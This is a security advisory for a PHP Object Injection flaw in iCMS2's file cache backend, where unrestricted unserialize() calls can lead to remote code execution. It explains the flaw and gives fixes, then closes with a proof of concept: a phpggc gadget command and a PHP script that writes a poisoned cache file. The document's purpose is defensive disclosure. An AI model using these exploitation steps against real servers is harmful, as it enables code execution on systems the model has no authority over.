A PHP Object Injection vulnerability exists in the file-based cache backend due to insecure usage of PHP’s unserialize() function. Successful exploitation may allow remote code execution under the privileges of the web server user.
iCMS2's file-based cache backend serializes values with PHP's serialize() before writing them to disk, then reads them back with an unrestricted unserialize() call. If an attacker can write a crafted payload into the cache directory through any secondary vulnerability, the deserialization sink will instantiate attacker-controlled objects and trigger magic method gadget chains, which can lead to remote code execution with the web server's privileges.
| Field | Value |
|---|---|
| Advisory | GHSA-7mvq-hwhc-c98g |
| Severity | High |
| CWE | CWE-502 (Deserialization of Untrusted Data) |
| Package | icms2 (PHP) |
| Affected | < 2.18.1 |
| Vulnerability | PHP Object Injection via unserialize() |
| Impact | Remote Code Execution |
iCMS2's cmsCacheFiles class implements a file-based cache backend. It stores values by serializing them with serialize() and writing them into .php files on disk. When those files are read back, the stored value is passed directly to unserialize() with no restriction on which classes may be instantiated. If an attacker controls the contents of a cache file, they can inject a serialized object payload that causes PHP to invoke arbitrary __wakeup() or __destruct() gadgets the moment the cache entry is read.
The set() method serializes the value and writes it as a PHP file that returns a plain array:
// system/core/cachefiles.php
public function set($key, $value, $ttl) {
$data = [
'ttl' => $ttl,
'time' => time(),
'value' => serialize($value)
];
$file_path_tmp = $file_path . '.tmp';
$success = file_put_contents($file_path_tmp,
'<?php return ' . var_export($data, true) . ';');
// ...
}
The get() method pulls the file in with include and passes the stored string straight to unserialize():
public function get($key) {
$data = include $file;
// ...
return unserialize($data['value']); // sink
}
There is no allowed_classes argument, so PHP will reconstruct whatever object the serialized string describes and automatically fire any magic methods on it.
The unserialize() call at the read path places no restriction on instantiable classes. This is the canonical prerequisite for PHP Object Injection. The missing argument is ['allowed_classes' => false], which would cause PHP to refuse to rebuild any object and return false instead of executing attacker-controlled code.
This is a second-order vulnerability. The attacker needs a write primitive into the cache directory first. Realistic paths to that include:
The fix is a one-line change in get():
// Before (vulnerable)
return unserialize($data['value']);
// After (safe for data caches)
return unserialize($data['value'], ['allowed_classes' => false]);
Passing ['allowed_classes' => false] tells PHP to refuse object instantiation during deserialization. A gadget payload still parses, but no object is ever built and no magic method fires.
A stronger long-term approach is to drop PHP serialization entirely for cache values and use JSON:
// Writing
'value' => json_encode($value)
// Reading
return json_decode($data['value'], true);
json_decode() never produces PHP objects, which eliminates this entire class of attack regardless of what gadgets exist in the codebase.
cmsCacheFiles backend with a writable cache directory is potentially vulnerable when combined with a write primitive.unserialize(), or a full migration to JSON serialization for cache values.Use PHPGGC to build a serialized payload around a gadget present in iCMS2 or its dependencies:
phpggc -l
phpggc Lib/RCE1 system 'id' -s
# Output: O:10:"SomeClass":1:{s:3:"cmd";s:2:"id";}
Craft a file that matches the exact structure cmsCacheFiles::get() expects, with the payload in the value field:
<?php
$payload = 'O:10:"SomeClass":1:{s:3:"cmd";s:2:"id";}';
$cache_content = '<?php return array (' . "\n"
. " 'ttl' => 99999,\n"
. " 'time' => " . time() . ",\n"
. " 'value' => '" . $payload . "',\n"
. ');';
// Delivered via path traversal, FTP, or any write primitive
file_put_contents('/var/www/icms2/cache/poc_cache_key.php', $cache_content);
echo "[+] Cache file poisoned\n";
Navigate to any page that reads the poisoned cache key, or reproduce the sink directly. The gadget's destructor runs under the web server account the moment unserialize() is called, confirming end-to-end code execution.
Connect your repositories and let AI agents handle continuous scanning, research, and triage.
Choose which categories you are happy to allow. You can change your mind at any time using the Cookie settings link in the footer.